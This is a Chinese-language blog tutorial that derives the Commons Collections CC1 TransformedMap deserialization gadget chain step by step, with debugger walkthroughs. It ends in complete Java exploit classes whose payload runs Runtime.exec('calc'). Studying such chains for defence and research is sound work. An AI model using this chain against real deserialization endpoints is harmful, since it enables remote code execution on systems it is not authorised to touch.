Java反序列化CC1-TransformedMap链学习

学习参考:Java反序列化CC1链TransformedMap
核心是要学会基本EXP编写,还有怎么找传递链。

链子尾部

这里有一个能反射调用任意类,任意方法的:

image

以这个漏洞点写EXP,由于这个是public的InvokerTransformer,所以不需要反射,直接执行即可:
写一个正常Runtime弹calc的EXP,然后根据参数修改即可

import org.apache.commons.collections.functors.InvokerTransformer;import java.lang.reflect.Method;public class InvokeTransformerTest {public static void main(String[] args) throws Exception{System.out.printf("Ok! Let's start CC1! \n");
//        Runtime runtime = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method method = c.getDeclaredMethod("exec", String.class);
//        method.setAccessible(true);
//        method.invoke(runtime,"calc");Runtime runtime = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});invokerTransformer.transform(runtime);}
}

回溯找调用链

由于链子尾部是调用的transform,所以我们要找其它同名的transform方法。
直接Find Usage找不全,选择 ctrl+alt+shift+F7,选择所有位置即可找全。

找到TransformedMap的checkSetValue方法:
image

其中的valueTransformer来自构造函数。
重点在于,构造函数是protected的!所以得继续找其它调用构造函数的点:
image

Find Usage找到 decorate:
image

现在以decorate开头写一个到invoker结尾的EXP:
对于checkSetVaue,value要是runtime对象,valueTransformer要是InvokerTransformer.

然后由于这个CheckSetValue是protected,所以要反射调用。
先拿到TransformedMap的class,反射获取checkSetValue方法,setAccessible,然后invoke。

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class InvokeTransformerTest {public static void main(String[] args) throws Exception{System.out.printf("Ok! Let's start CC1! \n");
//        Runtime runtime = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method method = c.getDeclaredMethod("exec", String.class);
//        method.setAccessible(true);
//        method.invoke(runtime,"calc");Runtime runtime = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap<Object,Object> hashMap = new HashMap<>();Map decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer);Class<TransformedMap>transformedMapClass = TransformedMap.class;Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue",Object.class);checkSetValueMethod.setAccessible(true);checkSetValueMethod.invoke(decorateMap,runtime);
//        invokerTransformer.transform(runtime);}
}

继续往上找链子,很自然的想到找谁调用了checkSetValue;
唯一一个parent.checkSetValue.
找到调用checkSetValue的是一个Abstractxxx类的一个内部类MapEntry类:
image

往上面回溯两层setValue方法,可以找到来源:
image

image

是来自普遍的Map!

也就是Map在setValue的时候就会触发checkSetValue.

这里尝试验证一下:我们遍历一个map,setvalue(runtime):

package org.example;import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;
import java.util.Map;public class setValueTest {public static void main(String[] args) throws Exception {Runtime runtime = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap<Object,Object> hashMap = new HashMap<>();hashMap.put("a",1);Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer);for(Map.Entry entry:decorateMap.entrySet()){entry.setValue(runtime);}}
}

发现确实走到checkSetValue了,同时EXP也成立:
image

继续往上找,找setValue的调用。

找入口类

找到一个readObject的入口类:
(呃呃呃,我的这个是class,不是源码,所以搜不到。。。)
image

然后这个类的构造函数的作用域是default,所以也得用反射写。
理想情况的EXP:

package org.example;import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class idealExp {public static void main(String[] args) throws Exception {Runtime runtime = Runtime.getRuntime();InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});HashMap<Object,Object> hashMap = new HashMap<>();hashMap.put("a",1);Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);Object o = constructor.newInstance(Override.class,decorateMap);serialize(o);deseralize("ser.bin");}public static void serialize(Object obj)throws Exception{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object deseralize(String filename) throws Exception{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));Object obj = ois.readObject();return obj;}
}

理想EXP的几个问题 && 解决

但有几个问题:

  1. Runtime对象不能序列化。

  2. 最终的setValue是需要传Runtime对象的,但这里直接看是不可控的:
    image

  3. 进入setValue前有两个if判断需要解决。

第一个问题:
Runtime对象不可序列化,但是Runtime.class可以。所以用反射来写。
而反射又需要用invokerTransformer来间接完成。
这里用chainedTransformer来简化。
image

这里就不写完了,只是写写Runtime.class和结合invokerTransformer后,再用chainedTransformer简化的部分,其余的链子思路都挺清晰的,现在不想写。。。

Runtime.class:(学到了。。。orz)

package org.example;import java.lang.reflect.Method;public class runtimeClassTest {public static void main(String[] args) throws Exception {Class c = Runtime.class;Method method = c.getMethod("getRuntime");Runtime runtime = (Runtime) method.invoke(null,null);Method run = c.getMethod("exec", String.class);run.invoke(runtime,"calc");}
}

特别是

Runtime runtime = (Runtime) method.invoke(null,null);

秀!

这样就完全可以改造为invokerTransformer的形式了。

package org.example;import org.apache.commons.collections.functors.InvokerTransformer;import java.lang.reflect.Method;public class runtimeClassTest {public static void main(String[] args) throws Exception {Class c = Runtime.class;
//        Method method = c.getMethod("getRuntime");
//        Runtime runtime = (Runtime) method.invoke(null,null);
//        Method run = c.getMethod("exec", String.class);
//        run.invoke(runtime,"calc");Method runtimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(runtimeMethod);Method run = (Method) new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"exec",new Class[]{String.class}}).transform(c);run.invoke(runtime,"calc");}
}

然后结合chaindTransformer和decorate再写写,

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class idealExp {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> hashMap = new HashMap<>();hashMap.put("a",1);Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);Object o = constructor.newInstance(Override.class,decorateMap);serialize(o);deseralize("ser.bin");}public static void serialize(Object obj)throws Exception{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object deseralize(String filename) throws Exception{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));Object obj = ois.readObject();return obj;}
}

然后在Annoxxx那两个if打断点,看看什么情况。
第一个if要求var7!=null:
image

而var7来自:

Class var7 = (Class)var3.get(var6);

我们构造函数的传参是:
image
是没有member的:
image

所以要找另外的注解。
直接跟着找到Target.java:
image

有一个成员value,所以我们put的值也要是value。
调整这两处:
image

这样再debug,var7就!=null了:
image

同时也能成功进入第二个if:
image

现在到了最后一个问题,setValue中的参数不可控。
能找到一个ConstantTransformer类:
image

那么就可以将setValue中new的那个AnnotationTypeMismatchExceptionProxy作为ConstantTransformer的transform的参数!然后iConstant我们可控,就能控制setValue的参数了。(orz ++)
具体到代码实现,刚好这个Constantxxx的transform方法可以添加到ChainedTransformer的开头~
FINAL EXP:(打断点多看看chained那儿)

package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;public class idealExp {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class), //new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> hashMap = new HashMap<>();hashMap.put("value",1);Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);constructor.setAccessible(true);Object o = constructor.newInstance(Target.class,decorateMap);serialize(o);deseralize("ser.bin");}public static void serialize(Object obj)throws Exception{ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object deseralize(String filename) throws Exception{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));Object obj = ois.readObject();return obj;}
}

image

最后再debug看看chained那儿:
image

第一次的transform就是设置Axxx这个为可控的iConstant(Runtime.class)
image

第二次就是getMethod获取getRuntime:
image

第三次就是method.invoke():
image

最后就是exec("calc"):
image

image

总结

先是找到结尾的反射调用任意类任意方法,然后往上回溯,找重名调用,最终找到入口readObject的类。
中间很多细节值得推敲,精妙!

利用链:

InvokerTransformer # transformTransformedMap # checkSetValueAbstractInputCheckedMapDecorator # setValueAnnotationInvocationHandler # readObject

image
<===
image
<===
image
<===
image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/147801.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

如何基于scrcpy改造实现大厂一键连招/触摸宏功能(带java源码)-千里马安卓framework实战

背景&#xff1a; 前面公众号文章已经分享过如何实现这种大厂里面一键连招&#xff0c;触摸宏的功能&#xff0c;原理本身是对dev/input下面的节点进行读取保存文件&#xff0c;然后在读取文件进行写入dev/input下面的节点&#xff0c;从而实现了触摸事件的读取和写入&#xf…

初始main方法,标识符和关键字

1. 初识Java的main方法 1.1 main方法示例 public class HelloWorld{public static void main(String[] args){System.out.println("Hello,world");} }图解&#xff1a; 通过上述代码&#xff0c;我们可以看到一个完整的Java程序的结构&#xff0c;Java程序的结构…

C. Lazy Narek (Codeforces Round 972 (Div. 2))

C. Lazy Narek 思路: 动态规划 dp dp[i] 表示 目前寻找的字符下标为i 时的最大分数&#xff08;<i<4&#xff09; 从前往后遍历字符串&#xff0c;每个字符串找5次&#xff0c;找完后把dp取max 注意找的过程中不能修改原dp数组&#xff0c;因为这5次查找是并行的&#x…

STM32引脚输入

文章目录 前言一、看原理图二、开始编程1.开启时钟2.配置GPIOA.0 上拉输入3.读取 GPIOA.0 引脚 GPIOA_IDR 0位上是1&#xff08;按键松开&#xff09;&#xff0c;输入就是高电平&#xff0c;否则就是低电平&#xff08;按键按下&#xff09; 三、完整程序四 测试效果总结 前言…

故障诊断 | 基于双路神经网络的滚动轴承故障诊断

故障诊断 | 基于双路神经网络的滚动轴承故障诊断 目录 故障诊断 | 基于双路神经网络的滚动轴承故障诊断效果一览基本介绍程序设计参考资料效果一览 基本介绍 基于双路神经网络的滚动轴承故障诊断 融合了原始振动信号 和 二维信号时频图像的多输入(多通道)故障诊断方法 单路和双…

快速生成应用:AI大模型与低代码平台如何无缝结合提升效率?

引言&#xff1a;数字化时代的开发挑战 在数字化转型的浪潮中&#xff0c;快速响应市场需求已成为企业的核心竞争力。AI大模型与低代码平台的结合&#xff0c;为应用开发提供了一条更加智能、快速的路径。通过自动代码生成、智能推荐和持续优化&#xff0c;这一无缝结合大幅提升…

计算机前沿技术-人工智能算法-大语言模型-最新论文阅读-2024-09-19

计算机前沿技术-人工智能算法-大语言模型-最新论文阅读-2024-09-19 1. SAM4MLLM: Enhance Multi-Modal Large Language Model for Referring Expression Segmentation Authors: Yi-Chia Chen, Wei-Hua Li, Cheng Sun, Yu-Chiang Frank Wang, Chu-Song Chen SAM4MLLM: 增强多模…

21 基于51单片机的隧道车辆检测系统

目录 一、主要功能 二、硬件资源 三、程序编程 四、实现现象 一、主要功能 以AT89C51单片机为控制核心&#xff0c;实现对隧道环境的监测。采用模块化设计&#xff0c; 共分以下几个功能模块&#xff1a; 单片机最小系统模块、电源模块、气体传感模块、和显示模块等。 通过…

在电脑中增加一个新盘

找到此电脑右击找到管理点进去 找到磁盘管理点进去 找到D盘&#xff0c;点击D盘然后右击找到压缩卷点击&#xff0c;之后按照自己的意愿分盘容量 然后就一直点下一页 返回去就能看到新加卷F盘了 在此电脑中也可以查看 完成

ToB项目身份认证(一):基于目录的用户管理、LDAP和Active Directory简述

在ToB的项目里&#xff0c;公司部门之间是树状的关系&#xff0c;成员结构也类似。由于windows的使用范围很广&#xff0c;尤其是在企业里&#xff0c;所以它集成的Active Directory域服务往往企业应用需要兼容的。 什么是基于目录的用户管理&#xff1f; 基于目录的用户管理…

双十一快来了!什么值得买?分享五款高品质好物~

双十一大促再次拉开帷幕&#xff0c;面对众多优惠是否感到选择困难&#xff1f;为此&#xff0c;我们精心筛选了一系列适合数字生活的好物&#xff0c;旨在帮助每一位朋友都能轻松找到心仪之选。这份推荐清单&#xff0c;不仅实用而且性价比高&#xff0c;是您双十一购物的不二…

cc2530使用(SmartRF Flash Programmer)烧录hex固件

1图标 2IAR生成HEX文件 2-1勾选他 2-2生成对应的文件&#xff08;勾选他并改后缀&#xff09; &#xff08;选择他&#xff09; 点击OK即可 3&#xff08;选择文件&#xff0c;插入板子&#xff08;会显示对应的板子&#xff09;&#xff0c;烧录即可&#xff09;

LeetcodeTop100 刷题总结(二)

LeetCode 热题 100&#xff1a;https://leetcode.cn/studyplan/top-100-liked/ 文章目录 八、二叉树94. 二叉树的中序遍历&#xff08;递归与非递归&#xff09;补充&#xff1a;144. 二叉树的前序遍历&#xff08;递归与非递归&#xff09;补充&#xff1a;145. 二叉树的后序遍…

注册商标的有关流程

注册商标的有关流程 在商业活动中&#xff0c;商标作为企业品牌的重要组成部分&#xff0c;不仅代表着企业的形象和信誉&#xff0c;更是企业资产的重要部分。因此&#xff0c;了解并遵循注册商标的流程&#xff0c;对于保护企业的合法权益至关重要。 一、确定商标注册范围并进…

大模型学习方向不知道的,看完这篇学习思路好清晰!!

入门大模型并没有想象中复杂&#xff0c;尤其对于普通程序员&#xff0c;建议采用从外到内的学习路径。下面我们通过几个步骤来探索如何系统学习大模型&#xff1a; 1️⃣初步理解应用场景与人才需求 大模型的核心应用涵盖了智能体&#xff08;AI Agent&#xff09;、微调&…

【TPAMI 2024】告别误差,OPAL算法如何让光场视差估计变得轻而易举?

题目&#xff1a;OPAL: Occlusion Pattern Aware Loss for Unsupervised Light Field Disparity Estimation OPAL&#xff1a;面向无监督光场视差估计的遮挡模式感知损失 作者&#xff1a;Peng Li; Jiayin Zhao; Jingyao Wu; Chao Deng; Yuqi Han; Haoqian Wang; Tao Yu 摘要…

一个永久的.NET渗透工具和知识仓库

01前言 为了更好地应对基于.NET技术栈的风险识别和未知威胁&#xff0c;.NET安全攻防帮会从创建以来一直聚焦于.NET领域的安全攻防技术&#xff0c;定位于高质量安全攻防社区&#xff0c;也得到了许多师傅们的支持和信任&#xff0c;通过帮会深度连接入圈的师傅们&#xff0c;…

计算机毕业设计推荐-基于PHP的律所预约服务管理系统

精彩专栏推荐订阅&#xff1a;在下方主页&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; &#x1f496;&#x1f525;作者主页&#xff1a;计算机毕设木哥&#x1f525; &#x1f496; 文章目录 一、基于PHP的律…

61.【C语言】数据在内存中的存储

1.前置知识 整数在内存中以补码形式存储 有符号整数三种码均有符号位,数值位 正整数:原码反码补码 负整数:原码≠反码≠补码 2.解释 int arr[] {1,2,3,4,5}; VSx86Debug环境下,内存窗口输入&arr VSx64Debug环境下,内存窗口输入&arr 存放的顺序都一样,均是小端序…

路由基础--路由引入

路由引入的主要作用是实现路由信息在不同路由协议之间的传递和学习。在大型企业网络中&#xff0c;多种路由协议共存是常态&#xff0c;为了实现全网互通&#xff0c;需要通过路由引入来传递路由信息。此外&#xff0c;执行路由引入时还可以部署路由控制&#xff0c;从而实现对…